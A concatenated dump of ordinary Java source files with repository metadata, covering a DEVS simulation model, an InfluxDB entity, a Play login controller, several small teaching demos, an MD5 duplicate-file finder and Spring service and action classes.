| no_license | joongkyu-park/21-1_SystemAnalysis_practice | https://github.com/joongkyu-park/21-1_SystemAnalysis_practice | fc42da7024dd2684d70440621694900baebfb82b | 8eea2afb5682470d0a40132457ce219e6718c1c1 | refs/heads/master | 2023-08-28T10:50:04.665000 | 2021-11-01T15:59:10 | 2021-11-01T15:59:10 | 423,431,932 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package midterm;
import java.awt.*;
import simView.*;
public class efp extends ViewableDigraph
{
public efp()
{
super("efp");
ViewableAtomic sg = new genr("genr", 30);
ViewableDigraph expf = new ef("ExpFrame", 10, 10);
add(expf);
add(sg);
addCoupling(expf, "out", sg, "in");
addCoupling(sg, "out", expf, "in");
}
/**
* Automatically generated by the SimView program.
* Do not edit this manually, as such changes will get overwritten.
*/
public void layoutForSimView()
{
preferredSize = new Dimension(980, 644);
((ViewableComponent)withName("ExpFrame")).setPreferredLocation(new Point(381, 160));
((ViewableComponent)withName("genr")).setPreferredLocation(new Point(82, 451));
}
}
| UTF-8 | Java | 765 | java | efp.java | Java | []
| null | []
| package midterm;
import java.awt.*;
import simView.*;
public class efp extends ViewableDigraph
{
public efp()
{
super("efp");
ViewableAtomic sg = new genr("genr", 30);
ViewableDigraph expf = new ef("ExpFrame", 10, 10);
add(expf);
add(sg);
addCoupling(expf, "out", sg, "in");
addCoupling(sg, "out", expf, "in");
}
/**
* Automatically generated by the SimView program.
* Do not edit this manually, as such changes will get overwritten.
*/
public void layoutForSimView()
{
preferredSize = new Dimension(980, 644);
((ViewableComponent)withName("ExpFrame")).setPreferredLocation(new Point(381, 160));
((ViewableComponent)withName("genr")).setPreferredLocation(new Point(82, 451));
}
}
| 765 | 0.644444 | 0.614379 | 33 | 22.181818 | 25.798115 | 92 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.393939 | false | false | 14 |
ed0fbabcffb0c2d2f9d001ccd386f4f76abee454 | 39,522,289,071,933 | 7f1b530d75ee1cc4a6994e7f079a64c31abd00ba | /ServerController/src/main/java/edu/sjsu/ServerController/entity/KpiInfoMem.java | 89a4517f486635d02e65ad4225b133964ac12e49 | []
| no_license | shreya901/Hybrid-cloud-Monitoring-as-service | https://github.com/shreya901/Hybrid-cloud-Monitoring-as-service | 7df433fdf9c7cf3f1b2a14aa5846d3269124646c | bb67d33a5f6c679ecefe7976605d0b7fab25ec67 | refs/heads/main | 2023-01-10T20:09:16.673000 | 2020-11-05T04:53:49 | 2020-11-05T04:53:49 | 310,191,623 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package edu.sjsu.ServerController.entity;
import org.influxdb.annotation.Column;
import org.influxdb.annotation.Measurement;
import lombok.Data;
@Data
@Measurement(name = "Stats")
public class KpiInfoMem {
@Column(name = "Mem_Percentage")
private double percentage;
@Column(name = "UTC")
private long utc_time;
} | UTF-8 | Java | 325 | java | KpiInfoMem.java | Java | []
| null | []
| package edu.sjsu.ServerController.entity;
import org.influxdb.annotation.Column;
import org.influxdb.annotation.Measurement;
import lombok.Data;
@Data
@Measurement(name = "Stats")
public class KpiInfoMem {
@Column(name = "Mem_Percentage")
private double percentage;
@Column(name = "UTC")
private long utc_time;
} | 325 | 0.753846 | 0.753846 | 19 | 16.157894 | 15.631491 | 43 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.631579 | false | false | 14 |
d89fc370939efd2b15c940ba8b55f4b29ecea458 | 35,794,257,491,444 | 8f7c21689cc2060945de244e70f7d4cacdc00274 | /app/controllers/UserController.java | b43c4f1e4c43f7a7248eaf85a3cf61b29fc66553 | []
| no_license | terms0273/Earth-205-aiyoshizawa | https://github.com/terms0273/Earth-205-aiyoshizawa | bc1af46f64b1e253eb0536efaf00b7eaf77ad753 | 8e2e322127f98f105f8991be099005719facc121 | refs/heads/master | 2020-12-30T14:44:41.341000 | 2017-05-31T04:02:28 | 2017-05-31T04:02:28 | 91,081,630 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package controllers;
import java.util.*;
import models.User;
import dto.*;
import Services.*;
import filters.*;
import play.libs.F.*;
import play.data.Form;
import play.mvc.*;
import static play.mvc.Results.badRequest;
import static play.mvc.Results.ok;
import static play.mvc.Results.redirect;
import views.html.*;
/**
*
* @author y-aiyoshizawa
*/
public class UserController extends Controller{
public static Result login() {
Form form = new Form(LoginUser.class);
return ok(login.render(form));
}
public static Result doLogin(){
Form<LoginUser> form = new Form(LoginUser.class).bindFromRequest();
if(form.hasErrors()){
return badRequest(login.render(form));
}
LoginUser loginUser = form.get();
Option<User> optionUser = UserModelService.login(loginUser);
if(!optionUser.isDefined()){
//TODO:パスワードまたはIDが間違っている
return badRequest(login.render(form));
}
session("id",String.valueOf(optionUser.get().getId()));
return redirect(routes.UserController.index());
}
@Security.Authenticated(LoginFilter.class)
public static Result index() {
Form form = new Form(User.class);
return ok(index.render(form));
}
public static Result register() {
Form form = new Form(CreateUser.class);
return ok(register.render(form));
}
public static Result create(){
Form<CreateUser> form = new Form(CreateUser.class).bindFromRequest();
if(form.hasErrors()){
return badRequest(register.render(form));
}
User user = UserModelService.cureateUser(form.get());
if(user == null){
return badRequest(register.render(form));
}
return redirect(routes.UserController.login());
}
@Security.Authenticated(AdminFilter.class)
public static Result userList(){
Option<List<User>> optionUserList = UserModelService.getUserList();
if(optionUserList.isDefined()){
//TODO:削除したい値が見つからないエラー
}
return ok(userList.render(optionUserList.get()));
}
@Security.Authenticated(AdminFilter.class)
public static Result delete(long id){
UserModelService.deleteUser(id);
return redirect(routes.UserController.userList());
}
@Security.Authenticated(LoginFilter.class)
public static Result edit(){
long id = Long.parseLong(session("id"));
User user = User.find.byId(id);
EditUser editUser = new EditUser(user);
Form<EditUser> editUserForm = new Form(EditUser.class).fill(editUser);
Form<EditUserPassword> editUserPasswordForm = new Form(EditUserPassword.class);
return ok(edit.render(editUserForm,editUserPasswordForm));
}
@Security.Authenticated(LoginFilter.class)
public static Result update(){
Form<EditUser> editUserForm = new Form(EditUser.class).bindFromRequest();
if(editUserForm.hasErrors()){
Form<EditUserPassword> editUserPasswordForm = new Form(EditUserPassword.class);
return badRequest(edit.render(editUserForm,editUserPasswordForm));
}
long id = Long.parseLong(session("id"));
UserModelService.updateUser(id, editUserForm.get());
return redirect(routes.UserController.index());
}
@Security.Authenticated(LoginFilter.class)
public static Result passwordUpdate(){
Form<EditUserPassword> editUserPasswordForm = new Form(EditUserPassword.class).bindFromRequest();
if(editUserPasswordForm.hasErrors()){
long id = Long.parseLong(session("id"));
User user = User.find.byId(id);
EditUser editUser = new EditUser(user);
Form<EditUser> editUserForm = new Form(EditUser.class).fill(editUser);
return badRequest(edit.render(editUserForm,editUserPasswordForm));
}
long id = Long.parseLong(session("id"));
UserModelService.updatePasswordUser(id, editUserPasswordForm.get());
return redirect(routes.UserController.index());
}
@Security.Authenticated(LoginFilter.class)
public static Result logout(){
session().clear();
return redirect(routes.UserController.login());
}
}
| UTF-8 | Java | 4,395 | java | UserController.java | Java | [
{
"context": "irect;\n\n\nimport views.html.*;\n\n\n\n/**\n *\n * @author y-aiyoshizawa\n */\npublic class UserController extends Controlle",
"end": 354,
"score": 0.9991776347160339,
"start": 341,
"tag": "USERNAME",
"value": "y-aiyoshizawa"
}
]
| null | []
| package controllers;
import java.util.*;
import models.User;
import dto.*;
import Services.*;
import filters.*;
import play.libs.F.*;
import play.data.Form;
import play.mvc.*;
import static play.mvc.Results.badRequest;
import static play.mvc.Results.ok;
import static play.mvc.Results.redirect;
import views.html.*;
/**
*
* @author y-aiyoshizawa
*/
public class UserController extends Controller{
public static Result login() {
Form form = new Form(LoginUser.class);
return ok(login.render(form));
}
public static Result doLogin(){
Form<LoginUser> form = new Form(LoginUser.class).bindFromRequest();
if(form.hasErrors()){
return badRequest(login.render(form));
}
LoginUser loginUser = form.get();
Option<User> optionUser = UserModelService.login(loginUser);
if(!optionUser.isDefined()){
//TODO:パスワードまたはIDが間違っている
return badRequest(login.render(form));
}
session("id",String.valueOf(optionUser.get().getId()));
return redirect(routes.UserController.index());
}
@Security.Authenticated(LoginFilter.class)
public static Result index() {
Form form = new Form(User.class);
return ok(index.render(form));
}
public static Result register() {
Form form = new Form(CreateUser.class);
return ok(register.render(form));
}
public static Result create(){
Form<CreateUser> form = new Form(CreateUser.class).bindFromRequest();
if(form.hasErrors()){
return badRequest(register.render(form));
}
User user = UserModelService.cureateUser(form.get());
if(user == null){
return badRequest(register.render(form));
}
return redirect(routes.UserController.login());
}
@Security.Authenticated(AdminFilter.class)
public static Result userList(){
Option<List<User>> optionUserList = UserModelService.getUserList();
if(optionUserList.isDefined()){
//TODO:削除したい値が見つからないエラー
}
return ok(userList.render(optionUserList.get()));
}
@Security.Authenticated(AdminFilter.class)
public static Result delete(long id){
UserModelService.deleteUser(id);
return redirect(routes.UserController.userList());
}
@Security.Authenticated(LoginFilter.class)
public static Result edit(){
long id = Long.parseLong(session("id"));
User user = User.find.byId(id);
EditUser editUser = new EditUser(user);
Form<EditUser> editUserForm = new Form(EditUser.class).fill(editUser);
Form<EditUserPassword> editUserPasswordForm = new Form(EditUserPassword.class);
return ok(edit.render(editUserForm,editUserPasswordForm));
}
@Security.Authenticated(LoginFilter.class)
public static Result update(){
Form<EditUser> editUserForm = new Form(EditUser.class).bindFromRequest();
if(editUserForm.hasErrors()){
Form<EditUserPassword> editUserPasswordForm = new Form(EditUserPassword.class);
return badRequest(edit.render(editUserForm,editUserPasswordForm));
}
long id = Long.parseLong(session("id"));
UserModelService.updateUser(id, editUserForm.get());
return redirect(routes.UserController.index());
}
@Security.Authenticated(LoginFilter.class)
public static Result passwordUpdate(){
Form<EditUserPassword> editUserPasswordForm = new Form(EditUserPassword.class).bindFromRequest();
if(editUserPasswordForm.hasErrors()){
long id = Long.parseLong(session("id"));
User user = User.find.byId(id);
EditUser editUser = new EditUser(user);
Form<EditUser> editUserForm = new Form(EditUser.class).fill(editUser);
return badRequest(edit.render(editUserForm,editUserPasswordForm));
}
long id = Long.parseLong(session("id"));
UserModelService.updatePasswordUser(id, editUserPasswordForm.get());
return redirect(routes.UserController.index());
}
@Security.Authenticated(LoginFilter.class)
public static Result logout(){
session().clear();
return redirect(routes.UserController.login());
}
}
| 4,395 | 0.650589 | 0.650589 | 123 | 34.227642 | 24.594206 | 105 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.520325 | false | false | 14 |
9bfebf6528d82809df71947952c0c15aac204777 | 36,919,538,911,697 | 7fbced2b1088bad518eb1e9a25b387ed4f83f236 | /src/exceptions/CheckedExceptionProgram.java | 63f12ddb6e47ff550085e94d63e0c067f8e0ce0a | []
| no_license | aravindkumar06/Testing | https://github.com/aravindkumar06/Testing | 2260fd770ff78d8e8308192e77fea991ef5ff79a | bbd2a211fec375e63b15a9e2070858579ede2967 | refs/heads/master | 2017-12-20T21:04:45.430000 | 2016-12-12T23:57:55 | 2016-12-12T23:57:55 | 76,303,803 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package exceptions;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
/**
* Created by Bala Grandhi on 11/16/2016.
*/
public class CheckedExceptionProgram {
public static void main(String args[]) throws FileNotFoundException
{
File f= new File("C://Temp.txt");
FileReader fileReader=null;
fileReader = new FileReader(f);
}
}
| UTF-8 | Java | 412 | java | CheckedExceptionProgram.java | Java | [
{
"context": "ion;\nimport java.io.FileReader;\n\n/**\n * Created by Bala Grandhi on 11/16/2016.\n */\npublic class CheckedExceptionP",
"end": 138,
"score": 0.9998767971992493,
"start": 126,
"tag": "NAME",
"value": "Bala Grandhi"
}
]
| null | []
| package exceptions;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
/**
* Created by <NAME> on 11/16/2016.
*/
public class CheckedExceptionProgram {
public static void main(String args[]) throws FileNotFoundException
{
File f= new File("C://Temp.txt");
FileReader fileReader=null;
fileReader = new FileReader(f);
}
}
| 406 | 0.67233 | 0.652913 | 23 | 16.913044 | 20.112537 | 71 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.304348 | false | false | 14 |
2908d865792398099233b32d5c16abef383cff71 | 30,897,994,789,255 | 14ba41497fa9ec574dbeb58fa9d95af1f7f36818 | /book4/src/chapter14/BindingDemo.java | 1d385cf93c0e2c173d9652156b81db4f9e7d33c8 | []
| no_license | momoclouq/Book_Intro_Java | https://github.com/momoclouq/Book_Intro_Java | 53cb483969ef2be89681d531769b3b2211682a7b | de82fe9eeb0753e69669eb3bc51aa4202ebc41e1 | refs/heads/master | 2022-12-07T16:35:41.576000 | 2020-08-10T13:19:46 | 2020-08-10T13:19:46 | 283,518,783 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package chapter14;
import javafx.beans.property.DoubleProperty;
import javafx.beans.property.FloatProperty;
import javafx.beans.property.SimpleDoubleProperty;
import javafx.beans.property.SimpleFloatProperty;
/**
*
* @author cis2mye
*/
public class BindingDemo {
public static void main(String[] args){
DoubleProperty d1 = new SimpleDoubleProperty(1);
DoubleProperty d2 = new SimpleDoubleProperty(2);
FloatProperty d3 = new SimpleFloatProperty(3);
Double d4 = new Double(4);
d2.bindBidirectional(d1);
System.out.println("d1 is " + d1.getValue() + " and d2 is " + d2.getValue());
d2.setValue(70.2);
System.out.println("d1 is " + d1.getValue() + " and d2 is " + d2.getValue());
}
}
| UTF-8 | Java | 942 | java | BindingDemo.java | Java | [
{
"context": "s.property.SimpleFloatProperty;\n\n/**\n *\n * @author cis2mye\n */\npublic class BindingDemo {\n public static ",
"end": 421,
"score": 0.9995197057723999,
"start": 414,
"tag": "USERNAME",
"value": "cis2mye"
}
]
| null | []
| /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package chapter14;
import javafx.beans.property.DoubleProperty;
import javafx.beans.property.FloatProperty;
import javafx.beans.property.SimpleDoubleProperty;
import javafx.beans.property.SimpleFloatProperty;
/**
*
* @author cis2mye
*/
public class BindingDemo {
public static void main(String[] args){
DoubleProperty d1 = new SimpleDoubleProperty(1);
DoubleProperty d2 = new SimpleDoubleProperty(2);
FloatProperty d3 = new SimpleFloatProperty(3);
Double d4 = new Double(4);
d2.bindBidirectional(d1);
System.out.println("d1 is " + d1.getValue() + " and d2 is " + d2.getValue());
d2.setValue(70.2);
System.out.println("d1 is " + d1.getValue() + " and d2 is " + d2.getValue());
}
}
| 942 | 0.687898 | 0.661359 | 28 | 32.642857 | 26.494223 | 85 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.571429 | false | false | 14 |
abd0ff7120029ea4779b07df1422cb67f8baf2f6 | 30,897,994,791,717 | 0f8d8afc0153f4385f9f790279f2477dc66396a1 | /java01se/demo01/src/day14Inside/inside02menber.java | dd8163741eb5f1254db8612a5706c1bcf50245d3 | []
| no_license | mlingOkay/javaBase | https://github.com/mlingOkay/javaBase | a9102eea5c9f8a67df64f70940997bb6d3821e58 | 2e774b02019992d338629658a9afc6a788b7677b | refs/heads/master | 2023-05-20T08:30:35.061000 | 2021-06-13T16:29:41 | 2021-06-13T16:29:41 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package day14Inside;
/* 如何使用成员内部类?有两种方式:
间接方式:在外部类的方法当中,使用内部类;然后main只是调用外部类的方法
直接方法:
类名称 对象名=new 类名称();
【外部类名称.内部类 对象名=new 外部类().new 内部类名称();】
*/
public class inside02menber {
public static void main(String[] args) {
inside01menber stu=new inside01menber();
stu.methon();
System.out.println("=========");
inside01menber.inside obj=new inside01menber().new inside();
obj.methonIns();//20
}
}
| UTF-8 | Java | 645 | java | inside02menber.java | Java | []
| null | []
| package day14Inside;
/* 如何使用成员内部类?有两种方式:
间接方式:在外部类的方法当中,使用内部类;然后main只是调用外部类的方法
直接方法:
类名称 对象名=new 类名称();
【外部类名称.内部类 对象名=new 外部类().new 内部类名称();】
*/
public class inside02menber {
public static void main(String[] args) {
inside01menber stu=new inside01menber();
stu.methon();
System.out.println("=========");
inside01menber.inside obj=new inside01menber().new inside();
obj.methonIns();//20
}
}
| 645 | 0.616052 | 0.585683 | 16 | 26.8125 | 18.197592 | 68 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.8125 | false | false | 14 |
149376ebcaf85439baac813ef5a4771b6b73c603 | 28,449,863,428,282 | c761ca54d7fda76dfd878828711a318822c286a5 | /src/Actions.java | 98e3577e225e80c85b4a4e61813281a9fd08ee76 | []
| no_license | seanross/FCC-v.1.0 | https://github.com/seanross/FCC-v.1.0 | 1f7948e3a3fb352c0a03672f89d22727c41619b6 | a1abd32ad758a12477d6bd05bb2deda76976a660 | refs/heads/master | 2021-01-22T14:39:57.765000 | 2015-01-10T03:46:05 | 2015-01-10T03:46:05 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /* *********************************************************************
* Actions.java contains the buttons behavior
***********************************************************************/
import java.io.File;
import java.util.*;
import javax.swing.*;
public class Actions extends Components{
static File ff[], folder;
static JFileChooser chooser;
static JOptionPane jop;
public static int btnBrowse1Event(){
chooser = new JFileChooser( new File(".") )
{
public void approveSelection()
{
if (getSelectedFile().isFile())
{
return;
}
else
super.approveSelection();
}
};
chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);
chooser.setCurrentDirectory(chooser.getCurrentDirectory());
return chooser.showOpenDialog(frame);
}
public static String getSelectedFiles(){
String path = chooser.getSelectedFile().getAbsolutePath();
return path;
}
public static String fileChoosedPath(){
return chooser.getSelectedFile().getAbsolutePath();
}
public static void processFiles(File[] eachFiles){
String files, files2, files3 = "";
HashMap<String, String> hMap = new HashMap<String, String>();
MD5Calculations mds = new MD5Calculations();
ArrayList<String> duplicateList = new ArrayList<String>();
ArrayList<String> hashedMessages = new ArrayList<String>();
ArrayList<String> anyFiles = new ArrayList<String>();
displayArea.setText("File Clone Checkpoint v1.0 by unhandled_exception\nApplication ready.\n");
displayArea.append("\nAnalyzing " + textField1.getText() + "\nPlease wait...\n");
try{
// Gets each files in a certain directory
for (int i = 0; i < eachFiles.length; i++) {
if (eachFiles[i].isFile()) {
files = eachFiles[i].getName();
files2 = mds.getCheckSums(eachFiles[i]);
hMap.put(files, files2);
hashedMessages.add(files);
files3 += files + " : " + files2 + "\n";
}
}
displayArea.append("------------------------------------HASHED FILES------------------------------------\n\n");
displayArea.append(files3);
// filters the duplicated files and store it on Arraylist duplicate files
for(String fileName : hashedMessages){
for(String fileName2 : hashedMessages){
if(!(fileName.equals(fileName2.toString()))){
if(hMap.get(fileName).equals(hMap.get(fileName2))){
anyFiles.add(fileName2);
if(!duplicateList.contains(fileName)){
duplicateList.add(fileName);
}
}
}
}
}
// if there are no any duplicated files found
if(duplicateList.isEmpty()){
jop.showMessageDialog(frame, "No duplicate files found");
}
else{
// displays the duplicated files filename and MD5 hashes
String dups = Integer.toString(duplicateList.size());
jop.showMessageDialog(frame, ("There are " + dups + " duplicated files."));
displayArea.append("\n\n--------------------------------------Duplicated Files------------------------------------\n\n");
for(String each: duplicateList){
displayArea.append(each + " : " + hMap.get(each) + "\n");
}
}
}
// if invalid directory is detected
catch (Exception e) {
// TODO Auto-generated catch block
jop.showMessageDialog(frame, "Invalid directory. Please check the specified path.", "Invalid directory", JOptionPane.ERROR_MESSAGE );
}
}
public static void aboutAction(){
jd = new JDialog(frame, "About", true);
jd.add(jDialogPane);
jd.setSize(400,200);
jd.setLocation(396, 250);
jd.setVisible(true);
}
public static void helpAction(){
helpMe = new JDialog(frame, "Help", true);
helpMe.add(helpDialogPane);
helpMe.setSize(400,200);
helpMe.setLocation(396, 250);
helpMe.setVisible(true);
}
}
| UTF-8 | Java | 3,824 | java | Actions.java | Java | []
| null | []
| /* *********************************************************************
* Actions.java contains the buttons behavior
***********************************************************************/
import java.io.File;
import java.util.*;
import javax.swing.*;
public class Actions extends Components{
static File ff[], folder;
static JFileChooser chooser;
static JOptionPane jop;
public static int btnBrowse1Event(){
chooser = new JFileChooser( new File(".") )
{
public void approveSelection()
{
if (getSelectedFile().isFile())
{
return;
}
else
super.approveSelection();
}
};
chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);
chooser.setCurrentDirectory(chooser.getCurrentDirectory());
return chooser.showOpenDialog(frame);
}
public static String getSelectedFiles(){
String path = chooser.getSelectedFile().getAbsolutePath();
return path;
}
public static String fileChoosedPath(){
return chooser.getSelectedFile().getAbsolutePath();
}
public static void processFiles(File[] eachFiles){
String files, files2, files3 = "";
HashMap<String, String> hMap = new HashMap<String, String>();
MD5Calculations mds = new MD5Calculations();
ArrayList<String> duplicateList = new ArrayList<String>();
ArrayList<String> hashedMessages = new ArrayList<String>();
ArrayList<String> anyFiles = new ArrayList<String>();
displayArea.setText("File Clone Checkpoint v1.0 by unhandled_exception\nApplication ready.\n");
displayArea.append("\nAnalyzing " + textField1.getText() + "\nPlease wait...\n");
try{
// Gets each files in a certain directory
for (int i = 0; i < eachFiles.length; i++) {
if (eachFiles[i].isFile()) {
files = eachFiles[i].getName();
files2 = mds.getCheckSums(eachFiles[i]);
hMap.put(files, files2);
hashedMessages.add(files);
files3 += files + " : " + files2 + "\n";
}
}
displayArea.append("------------------------------------HASHED FILES------------------------------------\n\n");
displayArea.append(files3);
// filters the duplicated files and store it on Arraylist duplicate files
for(String fileName : hashedMessages){
for(String fileName2 : hashedMessages){
if(!(fileName.equals(fileName2.toString()))){
if(hMap.get(fileName).equals(hMap.get(fileName2))){
anyFiles.add(fileName2);
if(!duplicateList.contains(fileName)){
duplicateList.add(fileName);
}
}
}
}
}
// if there are no any duplicated files found
if(duplicateList.isEmpty()){
jop.showMessageDialog(frame, "No duplicate files found");
}
else{
// displays the duplicated files filename and MD5 hashes
String dups = Integer.toString(duplicateList.size());
jop.showMessageDialog(frame, ("There are " + dups + " duplicated files."));
displayArea.append("\n\n--------------------------------------Duplicated Files------------------------------------\n\n");
for(String each: duplicateList){
displayArea.append(each + " : " + hMap.get(each) + "\n");
}
}
}
// if invalid directory is detected
catch (Exception e) {
// TODO Auto-generated catch block
jop.showMessageDialog(frame, "Invalid directory. Please check the specified path.", "Invalid directory", JOptionPane.ERROR_MESSAGE );
}
}
public static void aboutAction(){
jd = new JDialog(frame, "About", true);
jd.add(jDialogPane);
jd.setSize(400,200);
jd.setLocation(396, 250);
jd.setVisible(true);
}
public static void helpAction(){
helpMe = new JDialog(frame, "Help", true);
helpMe.add(helpDialogPane);
helpMe.setSize(400,200);
helpMe.setLocation(396, 250);
helpMe.setVisible(true);
}
}
| 3,824 | 0.608787 | 0.597542 | 113 | 32.84071 | 27.245384 | 136 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 3 | false | false | 14 |
cd971ce765541fa12c49adc83ea042c4747bc8e1 | 39,470,749,474,220 | a79543d130dd5835fead0ef60d925ba4d6409a57 | /src/main/java/hello/domain/service/PersonService.java | 38774dd6071f72d0d19d1957d091f456296c6b21 | []
| no_license | ppolushkin/sample-rest | https://github.com/ppolushkin/sample-rest | 59f0c61200910b7e4f44960a1b0fb120108c6d62 | 9996219b8e1678a1db1bc8dcc05d99e257523964 | refs/heads/master | 2020-05-22T01:43:37.724000 | 2017-04-07T12:35:30 | 2017-04-07T12:35:30 | 65,193,203 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package hello.domain.service;
import hello.domain.entity.Person;
import hello.domain.repository.PersonRepository;
import hello.domain.entity.ResourceNotFoundException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import javax.transaction.Transactional;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Null;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CompletableFuture;
/**
* Created by pavel on 09.08.16.
*/
@Service
public class PersonService {
@Autowired
private PersonRepository repository;
@NotNull
public Person getById(Long id) {
Person result = repository.findOne(id);
if (result == null) {
throw new ResourceNotFoundException("Person with id " + id + " not found");
}
return result;
}
@NotNull
public CompletableFuture<Person> getByIdAsync(Long id) {
return repository.findOneById(id).
thenApply(person -> {
if (person == null) {
throw new ResourceNotFoundException("Person with ID = " + id + " does not exist");
}
return person;
});
}
@NotNull
public List<Person> getAll() {
List<Person> res = new ArrayList<>();
repository.findAll().forEach(res::add);
return res;
}
@Null
public CompletableFuture<List<Person>> getAllAsync() {
return repository.findAllAsync();
}
@NotNull
@Transactional
public Person save(Person person) {
return repository.save(person);
}
}
| UTF-8 | Java | 1,696 | java | PersonService.java | Java | [
{
"context": "l.concurrent.CompletableFuture;\n\n/**\n * Created by pavel on 09.08.16.\n */\n@Service\npublic class PersonServ",
"end": 529,
"score": 0.7075451612472534,
"start": 524,
"tag": "USERNAME",
"value": "pavel"
}
]
| null | []
| package hello.domain.service;
import hello.domain.entity.Person;
import hello.domain.repository.PersonRepository;
import hello.domain.entity.ResourceNotFoundException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import javax.transaction.Transactional;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Null;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CompletableFuture;
/**
* Created by pavel on 09.08.16.
*/
@Service
public class PersonService {
@Autowired
private PersonRepository repository;
@NotNull
public Person getById(Long id) {
Person result = repository.findOne(id);
if (result == null) {
throw new ResourceNotFoundException("Person with id " + id + " not found");
}
return result;
}
@NotNull
public CompletableFuture<Person> getByIdAsync(Long id) {
return repository.findOneById(id).
thenApply(person -> {
if (person == null) {
throw new ResourceNotFoundException("Person with ID = " + id + " does not exist");
}
return person;
});
}
@NotNull
public List<Person> getAll() {
List<Person> res = new ArrayList<>();
repository.findAll().forEach(res::add);
return res;
}
@Null
public CompletableFuture<List<Person>> getAllAsync() {
return repository.findAllAsync();
}
@NotNull
@Transactional
public Person save(Person person) {
return repository.save(person);
}
}
| 1,696 | 0.645047 | 0.641509 | 64 | 25.5 | 22.583179 | 106 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.375 | false | false | 14 |
799a3770145f008ab3cc44f5f893833f1eb72bf4 | 34,995,393,539,678 | 2ce90c5ac6543b4cb448ce54e8eb8da1142e5658 | /Pilotage_web/src/pilotage/gup/debordement_noc/ShowDebordementNOCAction.java | 078964705a5464b2cde0daf40fa7482e732d716b | []
| no_license | aelbarji/pfm-workspaceAG2R | https://github.com/aelbarji/pfm-workspaceAG2R | 5c2467094024de9f74dc05da30af2dd34456b86c | a46f05aa2771b2c660f694d1463e602ebc268f1f | refs/heads/master | 2021-01-17T15:20:25.243000 | 2016-06-12T14:26:58 | 2016-06-12T14:26:58 | 49,145,850 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package pilotage.gup.debordement_noc;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import pilotage.database.gup.DebordementNOCDatabaseService;
import pilotage.framework.AbstractAction;
import pilotage.metier.Debordement_NOC;
import pilotage.service.constants.PilotageConstants;
import pilotage.utils.Pagination;
public class ShowDebordementNOCAction extends AbstractAction{
private static final long serialVersionUID = 6697094474112410499L;
private Pagination<Debordement_NOC> pagination;
private List<Debordement_NOC> listDebNoc;
private List<Date> listDate;
private int page;
private int nrPages;
private int nrPerPage;
public int getPage() {
return page;
}
public void setPage(int page) {
this.page = page;
}
public int getNrPages() {
return nrPages;
}
public void setNrPages(int nrPages) {
this.nrPages = nrPages;
}
public int getNrPerPage() {
return nrPerPage;
}
public void setNrPerPage(int nrPerPage) {
this.nrPerPage = nrPerPage;
}
public Pagination<Debordement_NOC> getPagination() {
return pagination;
}
public void setPagination(Pagination<Debordement_NOC> pagination) {
this.pagination = pagination;
}
public List<Debordement_NOC> getListDebNoc() {
return listDebNoc;
}
public void setListDebNoc(List<Debordement_NOC> listDebNoc) {
this.listDebNoc = listDebNoc;
}
public List<Date> getListDate() {
return listDate;
}
public void setListDate(List<Date> listDate) {
this.listDate = listDate;
}
@Override
protected boolean validateMetier() {
return true;
}
@Override
protected String executeMetier() {
try{
if(page < 1)
page = 1;
else if(nrPages != 0 && page > nrPages)
page = nrPages;
if(nrPerPage == 0)
nrPerPage = PilotageConstants.NB_INCIDENTS_PER_PAGE;
pagination = new Pagination<Debordement_NOC>(page, nrPerPage);
listDebNoc = DebordementNOCDatabaseService.getAll(pagination);
listDate = new ArrayList<Date>();
for(Debordement_NOC dn : listDebNoc){
Date d = dn.getDatetime().toDate();
listDate.add(d);
}
return OK;
} catch (Exception e) {
error = getText("error.message.generique") + " : " + e.getMessage();
erreurLogger.error("Affichage liste debordement NOC - ", e);
return ERROR;
}
}
}
| UTF-8 | Java | 2,398 | java | ShowDebordementNOCAction.java | Java | []
| null | []
| package pilotage.gup.debordement_noc;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import pilotage.database.gup.DebordementNOCDatabaseService;
import pilotage.framework.AbstractAction;
import pilotage.metier.Debordement_NOC;
import pilotage.service.constants.PilotageConstants;
import pilotage.utils.Pagination;
public class ShowDebordementNOCAction extends AbstractAction{
private static final long serialVersionUID = 6697094474112410499L;
private Pagination<Debordement_NOC> pagination;
private List<Debordement_NOC> listDebNoc;
private List<Date> listDate;
private int page;
private int nrPages;
private int nrPerPage;
public int getPage() {
return page;
}
public void setPage(int page) {
this.page = page;
}
public int getNrPages() {
return nrPages;
}
public void setNrPages(int nrPages) {
this.nrPages = nrPages;
}
public int getNrPerPage() {
return nrPerPage;
}
public void setNrPerPage(int nrPerPage) {
this.nrPerPage = nrPerPage;
}
public Pagination<Debordement_NOC> getPagination() {
return pagination;
}
public void setPagination(Pagination<Debordement_NOC> pagination) {
this.pagination = pagination;
}
